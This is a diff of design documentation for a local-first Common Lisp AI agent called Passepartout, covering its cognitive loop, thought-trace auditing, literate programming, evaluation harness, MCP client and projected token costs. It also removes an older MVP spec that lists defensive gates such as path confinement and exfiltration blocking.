+Third, the REPL is a shared substrate. When the agent evaluates code, that code runs in the same image as the agent's own cognition. There is no process boundary between the agent and its tools. The REPL is not a subprocess the agent controls - it is a direct interface to the agent's own nervous system.
+
+This is why the REPL becomes more important as the system matures. In early versions, it is a development tool. In v0.6.0 and beyond, it becomes a cognitive tool: the agent explores hypotheses by evaluating them, verifies the output of sub-agents by inspecting live state, and tests modifications before committing them to the knowledge graph.
+
+** The Cybernetic Loop: Why the Metabolic Pipeline Works
+:PROPERTIES:
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Perceive → Reason → Act cycle is not a software architecture pattern. It is a cybernetic feedback loop — the mechanism by which a system steers itself toward a goal in a changing environment.
+
+Norbert Wiener defined cybernetics in 1948 as "control and communication in the animal and the machine." The metabolic pipeline implements this precisely: Perceive is the sensor (reading the environment), Reason is the controller (evaluating against goals and constraints), Act is the actuator (modifying the environment), and the tool-output feedback signal closes the loop (reading the effect of the action and adjusting the next perception).
+
+The Dispatcher gate stack is the negative feedback governor. When the LLM proposes an action that would violate an invariant, the Dispatcher blocks it and feeds the rejection trace back to the LLM for self-correction. This is Ross Ashby's homeostasis — the system maintains its internal stability by correcting deviations from its set point (the safety invariants). Without this negative feedback, the probabilistic engine would drift into hallucinated proposals that become progressively less grounded. The Dispatcher constrains it to the domain of safe, verifiable actions.
+
+The self-editing capability is second-order cybernetics — autopoiesis, the capacity of a system to create and maintain itself. Humberto Maturana and Francisco Varela defined this as the hallmark of living systems. When the agent detects an error, locates the faulty function, generates a corrected version, and hot-reloads it into the running image without restarting, it is modifying its own architecture while continuing to operate. Passepartout achieves this through Lisp's homoiconicity — code is data, and the running image is the environment. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
+
+This framing matters for two reasons. First, it places Passepartout in a lineage that predates and outlasts the current "LLM with tools" paradigm. The cybernetic principles of feedback, homeostasis, and autopoiesis are independent of any specific model architecture. They work whether the perceptual engine is an LLM, a vision model, or a symbolic parser. Second, it explains why the architecture gets more reliable over time — cybernetic systems improve through accumulated negative feedback corrections, not through better training data. Every blocked action is a correction. Every approved exception is a refined set point. The system converges on stability through use.
+
+** Observability and the Thought Trace
+:PROPERTIES:
+:ID:       design-observability
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral - it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
+
+The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
+
+This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in a text editor and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
+
+The trace becomes the foundation for the Dispatcher's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened - it reads what happened from the trace it wrote.
+
+Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
+
+** Literate Programming as Discipline
+:PROPERTIES:
+:ID:       design-literate-programming
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
+
+The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
+
+When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug - it is the mechanism by which thinking is enforced.
+
+The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic - it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
+
+The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
+
+The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
+
+Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
+
+The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
+
+** The Evaluation Harness
+:PROPERTIES:
+:ID:       design-evaluation-harness
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+SOTA parity is meaningless without measurement. A system that claims to match commercial agents must demonstrate it through reproducible benchmarks, not through feature checklists. The evaluation harness is the apparatus by which Passepartout proves its capabilities.
+
+The industry standard for coding agents is SWE-bench: a corpus of GitHub issues paired with pull requests. The agent is given an issue, must understand the codebase, write a fix, and submit. Success is measured by whether the submitted PR passes the existing test suite. This tests the full chain: understanding, planning, code generation, verification, and multi-step reasoning.
+
+Passepartout implements a native Lisp harness for this. A background thread clones repositories, feeds issues into the cognitive loop, tracks the resolution trajectory as an Org-mode headline tree, and scores success by test outcomes. The trajectory is persisted: when a resolution fails, the system can inspect where in the chain the reasoning broke down. The headline tree records the agent's thoughts at each step, making the failure auditable and the debugging human-assisted.
+
+Beyond SWE-bench, the harness includes chaos testing. The system is subjected to resource starvation, concurrent load, and adversarial input. The deterministic engine must maintain safety invariants under pressure. The symbolic verifier must not deadlock or livelock. The probabilistic engine must degrade gracefully - if tokens are limited, it must still produce valid proposals that the deterministic engine can evaluate. Failure under chaos is a design flaw, not a benchmark anomaly.
+
+The harness also supports regression testing on the skill set. Every skill is tested against a suite of known inputs and expected outputs. When a modification is proposed to any skill - whether through manual editing or the agent's own self-modification - the test suite runs first. A skill that fails its tests is rejected before it can propagate to the running image. This is not a convenience - it is the mechanism by which self-modification remains safe. The agent can propose changes, but the harness verifies them before the changes take effect.
+
+** The MCP Strategy
+:PROPERTIES:
+:ID:       design-mcp-strategy
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+The Model Context Protocol (MCP) is a standard for connecting AI systems to external tools and data sources. It defines how a client requests tools from a server, how the server exposes its capabilities, and how the client invokes them. The ecosystem is growing: MCP servers exist for GitHub, Slack, Postgres, filesystem access, and much more.
+
+Passepartout connects to this ecosystem, but not by becoming a Node.js runtime. The architecture is: external MCP servers communicate via stdio or SSE to a Lisp-native MCP client that runs in the same image as the agent. The client is pure Common Lisp - it parses the JSON-RPC messages, invokes the tools, and presents results to the agent as Lisp data structures. There is no serialization overhead between the agent and the MCP layer, no process boundary, no impedance mismatch.
+
+When the agent calls a tool via MCP, it receives a plist with the tool name, arguments, and result. The result is immediately usable by the agent's symbolic engine. When the agent generates a file, it can be written to the filesystem through an MCP filesystem server. When the agent needs to send a message, it can use an MCP Slack server. The agent does not need to know that these are MCP interactions - it sees only the plists that flow through its cognitive architecture.
+
+The alternative is to build MCP wrappers in Python or TypeScript and bridge to Lisp via subprocess. This is what OpenClaw does: a Node.js runtime that manages MCP servers, with a bridge to the Lisp process. The bridge introduces latency, serialization costs, and a maintenance burden. The Node.js process must be kept running. The bridge must be maintained across Lisp and JavaScript runtimes. The cognitive architecture must handle errors that cross the process boundary.
+
+Passepartout's native client is smaller, faster, and more maintainable. The MCP client is a skill, not a core component. It can be reloaded, replaced, or removed without restarting the agent. The agent can add new MCP tool integrations by loading new skills, not by deploying new infrastructure.
+
+** Local-First Architecture
+:PROPERTIES:
+:ID:       design-local-first
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+Passepartout is designed to run on the user's machine, on their hardware, with their data, without requiring an internet connection. This is not a deployment option - it is an architectural commitment. The system must be able to reason, plan, and act using only the resources available locally.
+
+The motivation is not merely philosophical. Cloud-based AI agents are economically incentivized to collect data, to train on user interactions, and to build lock-in through proprietary formats and network effects. When the agent runs locally, the user owns the hardware, owns the data, and can terminate the process without asking permission. There is no vendor that can change terms, no service that can go offline, no model that can be updated without consent.
+
+Technically, local-first means several things. The LLM must be able to run on local hardware. Passepartout supports Ollama as a provider, which runs quantized models on CPU and GPU without requiring an external API. The vector database must be local. Passepartout uses its own org-object store, which is a folder of Org files that the agent already owns. There is no ChromaDB or Qdrant to install, no cloud vector service to authenticate with.
+
+The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that in v3.0.0 verifies neural proposals runs entirely in the Lisp image. The Dispatcher's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
+
+This does not mean Passepartout refuses to use cloud services when available and appropriate. It means cloud services are optional enhancements, not architectural requirements. The core is local. The user can choose to add cloud LLM providers for more capable inference, but the system functions without them.
+
+*On live images and binaries.* Passepartout's primary delivery path is source code running in a live SBCL process. The REPL is available. Skills hot-reload. The cognitive loop runs in an image that is mutable, inspectable, and homeiconic — the user can connect with SLIME, trace functions, inspect memory objects, and modify the system while it runs. A ~save-lisp-and-die~ binary is provided as a convenience for platforms where SBCL cannot be installed (corporate laptops, shared hosts). The binary is the same image saved to disk with Swank pre-loaded — it is not a sealed container. The REPL works. Skills hot-reload. The binary is a packaging format, not an architectural decision. The system is constitutionally open in both delivery paths.
+
+* Token Economics and Performance Advantage
+:PROPERTIES:
+:ID:       design-token-economics
+:CREATED:  [2026-05-07 Wed]
+:END:
+
+This section analyzes how Passepartout's architectural decisions translate into token usage, latency, and cost versus competing agent designs. It makes one empirical claim (deterministic gates cost 0 LLM tokens — provable) and several structural claims (downward cost curve, tiered pricing, REPL economics — testable). It does not claim specific cost multiples pending empirical audit at v0.5.0.
+
+** The Core Insight: LLM as Expensive Resource, Not Default Engine
+
+Passepartout treats the LLM as a resource to be minimized. Every operation is designed to reduce LLM dependency. Competitors treat the LLM as the core engine through which all operations flow. This is not a difference of degree but of architecture.
+
+The structural multipliers are:
+
+1. *Sparse tree retrieval* — the foveal-peripheral model renders relevant Org subtrees (titles and properties for peripheral nodes, full content for foveal and semantically relevant nodes). Active context stays at 2,000–4,000 tokens. A "load everything" architecture serializes the entire knowledge base at 50,000–150,000 tokens. The mechanism is provably cheaper; the exact multiplier depends on memex size and complexity.
+
+2. *Deterministic safety* — the 10-vector Dispatcher gate stack runs in pure Lisp. Every gate is a Common Lisp function. Verification costs 0 LLM tokens per action. Competitors use prompt-based guardrails consuming 100–500 LLM tokens per verification. This multiplier is mathematically infinite — a Lisp function call costs no tokens, a guardrail paragraph in a system prompt costs tokens proportional to its length.
+
+3. *REPL verification* — code is tested in the running image before it is committed. Errors surface in milliseconds at 0 LLM tokens. Competitors discover errors after generation and pay 500–2,000 tokens per correction round-trip. The REPL eliminates the most expensive kind of LLM call: the one that produced wrong code and needs a do-over.
+
+4. *Hot state* — in a REPL-based agent, variables, file handles, sub-routine results, and memory objects are already in memory. Every turn in a standard chat agent re-sends the full conversation history. Token costs in chat agents are quadratic: a 10-turn session pays for ~55 "turns" of context (10 + 9 + 8 + ... + 1 = 55). In Passepartout, context is stored once in the Lisp image. A 10-turn session pays for ~10 turns of context. This is an ~82% reduction on protocol overhead alone, before any foveal-peripheral pruning. This argument is testable: send the same multi-turn session through both architectures and count tokens.
+
+5. *Temporal filtering* — time-scoped memory queries (what happened today? what's due in the next hour?) return only nodes matching the time window. The temporal filter is a pure-Lisp hash-table walk with a numeric comparison on ~memory-object-version~. Sub-millisecond. 0 LLM tokens. Competitors without time-indexed memory must serialize all nodes and let the LLM scan for temporal relevance — 5,000–50,000 tokens per temporal query. This is the same principle as the foveal-peripheral model applied to the time dimension.
+
+** The Compounding Cost Curve — Unique Among Agents
+
+Every AI agent grows more expensive over time. Context histories accumulate. Safety instructions grow more elaborate. Guardrails become longer prompt paragraphs. The user's data grows. The only way to reduce cost in a standard agent is to cap context — sacrificing capability.
+
+Passepartout has a downward cost curve. Four mechanisms compound:
+
+1. *Dispatcher learning (v0.3.0).* Every blocked action and approved exception becomes a deterministic rule. A file write that initially triggered a full LLM proposal → Dispatcher review → HITL approval → rule extraction loop eventually becomes a deterministic rule check. Each hardened rule permanently removes a future LLM call.
+
+2. *Symbolic induction (v0.5.0).* The agent extracts patterns from successful interaction sequences and converts them into reusable Lisp functions. A multi-step task that took 5,000 tokens today takes 0 tokens tomorrow — it's now a ~defun~. The Dispatcher learns what to block. Symbolic induction learns what to automate.
+
+3. *Native embedding inference (v0.4.0).* Every semantic search query runs against in-image vectors at 0 external tokens. Competitors use LLM-assisted search for most retrieval operations. Passepartout's retrieval is a vector cosine similarity check — pure math, no model call.
+
+4. *Prefix caching (v0.4.0).* The static portion of the system prompt (IDENTITY, TOOLS, LOGS format) is transmitted once per session. Dynamic content (CONTEXT, user prompt) is sent on each call. Anthropic's prompt caching gives a 90% discount on cached tokens. OpenAI caches automatically.
+
+After 12 months of daily use, Passepartout's per-session costs are expected to be 40–60% of baseline, while competitors' costs rise to 125–140% of baseline. The crossover point is estimated at 3–6 months. This is not a model quality claim — it is a structural property of the architecture.
+
+** Time Awareness as a Structural Advantage
+:PROPERTIES:
+:ID:       design-time-awareness
+:CREATED:  [2026-05-07 Thu]
+:END:
+
+Passepartout's architecture provides three layers of time awareness, each enabled by infrastructure that competitors lack:
+
+*Level 1 — Present Awareness.* The LLM knows the current time, date, and session duration because a single ~format-time-for-llm~ call injects it into the system prompt. Most agents know the date from the OS. None know the time or session duration. The cost is ~8 incremental tokens per call (trivially prefix-cached). The saving is eliminating "I don't know the current time" preamble tokens, time-check tool calls, and incorrect temporal reasoning from a model guessing the time.
+
+*Level 2 — Temporal Memory.* Memory queries accept ~:since~ and ~:until~ parameters. "What did I work on in the last hour?" filters 500 nodes to 12 in sub-millisecond Lisp rather than serializing 500 nodes to the LLM at ~5,000 tokens for it to scan. Every memory node carries a ~memory-object-version~ timestamp (a monotonic ~get-universal-time~ value set at ingest since v0.1.0). The temporal filter is a hash-table walk with numeric comparison. 0 LLM tokens. >90% token reduction on time-scoped queries.
+
+*Level 3 — Proactive Triggers.* The heartbeat tick (existing infrastructure since v0.3.0) scans for approaching deadlines every 60 seconds. When a deadline is within the warning window (~DEADLINE_WARNING_MINUTES~, default 60), a temporal context note is injected into the awareness assembly. The LLM sees "3 deadlines today: Submit report (45min)" in its context without a triggering call. A "what should I work on today?" query is answered from pre-loaded context — 0 LLM tokens versus 1,500–4,000 for an unassisted agent.
+
+None of these three layers require new infrastructure. Time awareness is not a feature Passepartout builds — it is a feature Passepartout *unlocks* by having timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and the foveal-peripheral context pruning model (v0.2.0) already in place. Adding time awareness costs ~175 lines of Lisp. Building it in competitors would require building the heartbeat, the time-indexed memory, and the proactive context injection — 800+ lines each — and would still cost LLM tokens because their safety verification is prompt-based.
+
+The structural principle generalizes: Passepartout's infrastructure investments compound. Each new subsystem (Merkle memory, heartbeat, skill engine, embedding pipeline) lowers the cost of the next feature. Time awareness is the first demonstration of this compounding — three layers unlocked by infrastructure already built for other purposes.
+
+** Tiered Pricing: Cheap Models for Simple Tasks, Free for Learned Patterns
+
+The model-tier router (v0.3.0) classifies every task by complexity and routes it to the cheapest capable model. Simple lookups go to tiny local models or deterministic hash table scans (0 LLM tokens). Text processing goes to mid-tier models. Complex planning and code generation go to the premium model. The consensus loop (v0.10.0) only fires for high-impact actions.
+
+The induced functions from symbolic induction (v0.5.0) compound this: every learned pattern that becomes a Lisp function moves from "cheap" to "free." Over time, an increasing fraction of the agent's daily operations cost 0 LLM tokens.
+
+** Version-by-Version Cost Trajectory
+
+The following projections assume a coding session equivalent to ~20 files, 10 actions, and 3 errors, using the cheapest capable cloud provider. They are architectural estimates pending empirical audit at v0.5.0.
+
+| Version | Cost relative to Claude Code | Why |
+|---------+-----------------------------+-----|
+| v0.4.0 (with prefix caching) | 1.5–2x cheaper | Sparse retrieval + caching; no tools yet, tasks are simple |
+| v0.5.0 (with symbolic induction) | 1.5–2x cheaper, declining over time | Induced functions begin replacing LLM calls for repeated patterns |
+| v0.7.0 (with MCP tools) | 2–3x cheaper | More complex tasks, but caching + induction compound |
+| v1.0.0 (all pre-symbolic features) | 2–3x cheaper for coding, 10–40x for knowledge management | Full stack: sparse trees + caching + induction + native embeddings |
+| v3.0.0 (neurosymbolic) | 5–10x cheaper | 80% of reasoning in symbolic middle layer costs 0 LLM tokens |
+| v4.0.0 (native inference) | ~100% cheaper for local models | No API call. No per-token pricing. Electricity only. |
+
+Knowledge management is Passepartout's strongest domain. A 500-node knowledge base assembled for the LLM as 2,000–4,000 tokens (foveal-peripheral) versus 80,000–150,000 tokens (full serialization) is a 40–75x difference in context alone. Semantic search in-image at 0 tokens versus LLM-assisted search at 5,000+ tokens extends the gap. Note creation via deterministic Org writes at 0 tokens versus LLM-generated notes at 800+ tokens each widens it further. Background maintenance (archiving, link repair, compaction) runs on heartbeat-driven cron jobs at 0 LLM tokens.
+
+** Engineering Challenges and Solutions
+
+The architecture's advantages are genuine but unevenly distributed across task types. Three structural challenges have specific engineering solutions in the roadmap.
+
+*** Challenge: Situational Cost
+
+The sparse-tree and REPL advantages apply primarily to long-running, high-context tasks. A single-turn lookup ("what's on my calendar?") without a cost-conscious routing layer may consume comparable tokens to standard RAG. The architecture must prevent the agent from spending $5 of compute on a $0.01 question.
+
+*Solution:* The Resolution Budget (v0.5.0) is a lightweight pre-routing layer that classifies complexity before the Reason stage and assigns a cost envelope. Simple lookups take the fast path (deterministic, 0 LLM tokens, sub-second). Standard interactions use cached context and tiered models. Deep reasoning engages the full deliberative pipeline. The tier classifier (v0.8.1) adds safety-based routing: dangerous operations always take the full verification path regardless of cost. Together, cheap simple tasks take the cheap fast path; dangerous complex tasks take the expensive safe path.
+
+*** Challenge: Single-Turn Latency
+
+The Dispatcher gate stack, structured output enforcement, and verification loop add latency to every turn. Time-to-first-token is inherently higher than a raw chat agent that processes the first response directly. The goal is not to match raw chat-agent TTFT on every interaction — it is to make the verification overhead imperceptible for trivial tasks and worth the wait for complex ones.
+
+*Solution:* Three mechanisms compound. The Resolution Budget (v0.5.0) routes simple lookups through a fast path with minimal gate checks. Streaming responses (v0.6.3) hide latency by showing progressive output — the user sees the agent typing while verification runs. Interrupt-and-redirect (v0.6.3) lets the user kill a wrong response mid-generation and redirect the agent without waiting for a complete wrong answer. The self-configuring setup binary (v0.5.0) includes a tiny Syntax Scout model — a 1.5B parameter model fine-tuned on Common Lisp + Org-mode idioms that pre-validates Lisp forms before the Dispatcher, reducing rejection-loop cycles.
+
+*** Challenge: Symbolic Brittleness
+
+Deterministic gates reject code with minor syntax errors that a prompt-based guardrail would pass. A 99% correct Lisp form with one mismatched parenthesis is blocked entirely during the ~read-from-string~ stage or by the syntax validation gate. This is the correct safety posture — but without mitigation, the user experience is "the agent keeps failing to do simple things because of formatting errors."
+
+*Solution:* Three mechanisms compound. Structured Output Enforcement (v0.6.2) validates plist syntax before the Dispatcher, providing LLM feedback with the specific parse error. The Syntax Scout — the tiny model from the setup bootstrapper — pre-validates Lisp forms during the Reason stage and auto-corrects common patterns (parenthesis balance, keyword normalization). The self-correction loop (up to 3 retries with rejection trace feedback at the Reason stage) gives the LLM multiple attempts. Together, these mechanisms drop the failure rate from "every syntax error blocks" to "the LLM learns to produce valid Lisp after the first rejection, and the Syntax Scout catches the patterns that the LLM repeatedly misses."
+
+** Local LLM Viability
+
+Reduced context requirements change which model sizes deliver acceptable performance:
+
+| Model                    | Passepartout Viability      | Competitor Viability |
+|--------------------------+-----------------------------+----------------------|
+| Phi-3-mini 3.8B (4K ctx) | Viable for structured tasks | Context starvation   |
+| Llama 3.1 8B (8K ctx)    | Comfortable daily driver    | Marginal             |
+| Qwen 2.5 7B (4K ctx)     | Viable for most tasks       | Not viable           |
+| Mistral 7B (8K ctx)      | Comfortable                 | Marginal             |
+| Llama 3.1 70B (128K ctx) | Overkill (but works)        | Comfortable          |
+
+KV cache memory scales with context length:
+
+| Context Window | KV Cache (Llama 3.1 8B, FP16) |
+|----------------+-------------------------------|
+| 4K tokens      | ~67 MB                        |
+| 32K tokens     | ~540 MB                       |
+| 128K tokens    | ~2.1 GB                       |
+
+Passepartout at 4K effective context: ~67 MB KV cache. Competitor at 128K: ~2.1 GB. A 7-8B model on an RTX 3060 Ti (8 GB VRAM) or MacBook (16 GB unified memory) is a practical daily driver with Passepartout. Competitors at full context require 16-32 GB VRAM or cloud APIs.
+
+** Comparison Summary
+
+| Metric                      | Passepartout        | Claude Code             | Hermes                       | OpenClaw              |
+|-----------------------------+---------------------+-------------------------+------------------------------+-----------------------|
+| Active context (tokens)     | 2,000-4,000         | 10,000-50,000+          | 5,000-15,000/agent           | 10,000-40,000         |
+| File access cost (per file) | 200-800 tok         | 1,500-5,000 tok         | 1,500-5,000 tok × agents     | 1,500-5,000 tok       |
+| Safety verification cost    | 0 (deterministic)   | 200-500 tok/action      | 200-500 tok/action × agents  | 100-300 tok/action    |
+| Agent coordination cost     | 0                   | 0                       | 1,000-3,000 tok/task         | 500-2,000 tok/task    |
+| Error recovery cost         | 0 (REPL)            | 500-2,000 tok/retry     | 500-2,000 tok/retry × agents | 500-2,000 tok/retry   |
+| Long-term cost trend        | Decreasing          | Increasing              | Increasing                   | Flat/Increasing       |
+| Min viable local model      | 3-4B params, 4K ctx | 30-70B params, 32K+ ctx | 30-70B params, 32K+ ctx      | 7-13B params, 8K+ ctx |
+| Min VRAM for local          | 4-6 GB              | 16-32 GB                | 24-48 GB                     | 8-16 GB               |
+
+*Note:* Observations about OpenClaw and Hermes Agent are based on their public documentation and repositories as of 2026-05. OpenClaw (github.com/openclaw/openclaw) is a TypeScript personal AI assistant by @steipete with a Node.js gateway, 25+ messaging channels, and Canvas/voice companion apps. Hermes Agent (github.com/NousResearch/hermes-agent) is a Python fork by Nous Research with a built-in learning loop, full TUI, and sub-agent delegation. Both use prompt-based safety guardrails rather than deterministic gates. Architectural claims should be re-verified as these projects evolve.
+
+*Conclusion:* Passepartout's architecture has a structural downward cost curve — a property that no competitor claims. The Dispatcher learning curve, symbolic induction, native embedding inference, and prefix caching compound to reduce LLM dependency over time. The cost advantage is not a magnitude claim (which depends on usage patterns and model selection) but a directional claim (costs decline with use, competitors' costs rise). The 80% of computation that moves to the symbolic middle layer at v3.0.0 (zero LLM tokens) and the 100% local-inference capability at v4.0.0 (zero API cost) define the long-term ceiling: eventually, the only LLM cost is input translation and output formatting. Everything else is pure Lisp.
+
+The critical risk is implementation: achieving the retrieval precision, Dispatcher learning depth, REPL integration, and symbolic engine maturity required to realize the architecture's economic potential. The token audit harness at v0.5.0 will provide the first empirical measurements.
+
+*Note:* The token savings projections in this section (2–3x for coding, 13–24x for knowledge management) are architectural estimates based on the sparse-tree retrieval and deterministic safety mechanisms. They have not yet been empirically verified. A token audit harness will produce measured comparisons at v0.5.0 (Token Economics & Prompt Efficiency). Until then, the README cites the mechanisms (sparse-tree rendering, deterministic gates) rather than specific magnitudes.
+* Open Questions and Risks
+
+1. *Retrieval accuracy is the bottleneck.* If sparse tree retrieval loads the wrong subtree (low-similarity but causally relevant), the LLM makes unfixable errors. The architecture assumes embedding quality is "good enough" — this is untested at scale.
+
+2. *System prompt overhead can consume savings.* Every =think= cycle builds the full system prompt from IDENTITY + TOOLS + CONTEXT + LOGS. With the foveal-peripheral context model growing over time and the tool belt expanding with skills, the fixed overhead is non-trivial. However, it is driven by context and tool descriptions, not by the ~*standing-mandates*~ list (which contributes ~40 tokens when a single mandate fires, and 0 otherwise). Prefix caching (v0.5.0) is the primary mitigation for this overhead.
+
+3. *Model size vs context quality.* A 3.8B model with perfect context cannot match a 70B model on complex multi-file refactors regardless of context quality. Model size independently determines reasoning depth. The minimum viable model is likely 7-13B parameters for engineering work.
+
+4. *The 3-retry dispatcher loop.* When the dispatcher rejects a proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries). If the dispatcher rejects 30% of proposals, the effective token multiplier is 1.39x per action. At 50% rejection (plausible during early use), it is 1.75x. This penalty decreases as the dispatcher accumulates rules.
+
+5. *Competitor evolution.* Sparse retrieval is not patentable. Claude Code, Copilot, and others will implement similar mechanisms. The architectural advantage is real but finite in duration. The deterministic safety gate is the harder-to-replicate differentiator.
+
+6. *The self-repair criterion.* "What belongs in core?" is decided by a single test: if this file is corrupted, can the agent fix it without human help? Corrupted core = dead brain, dead hands, or unreachable. Corrupted skill = degraded but self-repairable. If the agent has tools, identity, and user input, it can reason about missing awareness, edit the corrupted source file, reload the skill, and continue. If it loses its own reasoning loop, it has no way to self-diagnose. This is why context assembly and heartbeat generation were extracted to skills in v0.5.0 — the agent can detect their absence and reload them. The core contracts to the absolute minimum needed for self-repair: the pipeline, the memory, the transport, and the skill loader.
+
+7. *Why no subagents?* Claude Code, OpenCode, OpenClaw, and Hermes all implement multi-agent delegation (parent spawns child with separate context, tools execute, child reports back). Passepartout rejects this on principle. There are five reasons:
+
+   *Zero coordination overhead.* Subagents spend tokens on delegation protocols — prompt templates for spawning, agent-summary messages for progress reporting, sidechain transcripts for integration. Passepartout's single-brain model pays zero tokens for inter-agent communication.
+
+   *Causal traceability.* Every decision traces through a single Merkle chain, a single gate stack, a single memory space. With subagents, if a delegated agent makes a bad decision, the parent agent may never see the full reasoning — the subagent's internal context is opaque.
+
+   *Memory coherence.* Subagents require either duplicated context (wasteful) or context partitioning (lossy). Passepartout's foveal-peripheral model sees everything relevant in a single memory space — there is no context to split.
+
+   *The arXiv paper (2604.14228v1) validates this.* Section 11.3 notes that subagent isolation is a genuine trade-off: "Isolated subagent boundaries" vs unified memory coherence. The paper treats both as legitimate architectural choices.
+
+   *When would subagents be warranted?* If Passepartout ever needs to execute background tasks that don't share the main agent's context (e.g., nightly cron jobs, cross-project analysis), the architecture can add isolated agents as a skill — not as a core mechanism. The single-brain model is the default, not the only option.
+
+

docs/MVP_SPEC.org

@@ -1,93 +0,0 @@
-#+TITLE: OpenCortex MVP (v0.1.0) Specification & Release Plan
-#+STARTUP: content
-
-* Objective
-Define detailed specifications for the OpenCortex MVP (v0.1.0). This MVP establishes the autonomous foundation and introduces a native Common Lisp Terminal User Interface (TUI) for improved UX, alongside a comprehensive release plan.
-
-* 1. Core Architecture & Environment (Completed)
-- *System Harness:* A minimal, un-brittle Common Lisp (SBCL) microkernel that orchestrates the Perceive -> Probabilistic -> Deterministic -> Dispatch pipeline.
-- *Dual-Engine Cognition:*
-  - /Probabilistic Engine:/ The LLM gateway handling semantic translation, multi-modal ingestion, and intent parsing (supporting Anthropic, Gemini, Groq, OpenAI, and Ollama).
-  - /Deterministic Engine:/ The Lisp logical core that mathematically verifies LLM-proposed actions against system rules prior to execution.
-- *Data Stores:*
-  - /Linguistic Substrate:/ Org-mode plaintext files acting as the universal Abstract Syntax Tree (AST) for both humans and the agent.
-  - /Lisp Memory:/ A live, threaded graph of Lisp objects representing the Memex in RAM for instant, token-efficient traversal (Sparse Trees).
-- *Skill Architecture:* All agent capabilities are encapsulated in single-file Literate Programs (~org-skill-*.org~). They are topologically loaded, dynamically compiled, and hot-reloadable.
-
-* 2. Mandatory Security & Containment (Completed)
-- *Formal Verification Gate:* Evaluates actions before they hit the OS.
-  - /Path Confinement:/ Guarantees file writes are physically locked to the `~/memex/` root directory.
-  - /Network Exfiltration:/ Intercepts and blocks unauthorized external generic HTTP or socket requests.
-- *System Policy Gate:* Enforces the "Zero-Bloat" and "Autonomy Above All" invariants.
-- *Credentials Vault:* API keys and ~.env~ files are stored in a secure, masked Lisp enclave, rendering them invisible to the LLM's context window.
-
-* 3. Autonomous Background Workers (Completed)
-- *The Scribe (~org-skill-scribe.org~):* A distillation engine that periodically reads the chronological logs (e.g., daily journal files) and autonomously extracts concepts into permanent Zettelkasten notes.
-- *The Gardener (~org-skill-gardener.org~):* A heartbeat-driven, idle process that continuously walks the memory graph. It automatically repairs broken internal links, infers missing metadata, and flags orphaned ideas for the user.
-
-* 4. Native Terminal User Interface (UX Target)
-- *Objective:* Eliminate raw ~stdout~ shell piping in favor of a rich, structured, and interactive Common Lisp TUI.
-- *Library:* ~croatoan~ (A high-level CLOS wrapper for ncurses) will be used for rapid, robust UI development.
-- *Layout:*
-  - /Main Viewport:/ A read-only, scrollable panel that renders Org-mode headlines, syntax-highlighted Lisp/Python code blocks, and system logs.
-  - /Input Box:/ A fixed, multi-line input area pinned to the bottom of the screen, supporting standard Readline keybindings.
-  - /Status Bar:/ A persistent bar at the top or bottom displaying the health and current activity of background workers (Scribe/Gardener) and memory usage.
-- *Interactive Control (Slash Commands):*
-  - ~/help~: View system overview and command syntax.
-  - ~/clear~: Clear the viewport buffer.
-  - ~/skill-load <skill-name>~: Dynamically reload a modified Lisp skill into the active image.
-  - ~/exit~: Gracefully shut down the harness and exit the environment.
-  - ~/status~: Print diagnostic report (memory, git status, worker uptimes).
-  - ~/config~: Display active config/env vars (masking secrets).
-  - ~/search <query>~: Raw deterministic regex/vector search across the Memex.
-  - ~/commit~: Trigger Engineering Standard check, stage, and commit Memex state.
-- *Refactoring:* Reroute the existing ~:cli~ actuator and inbound gateway to exclusively utilize the new TUI rendering engine.
-
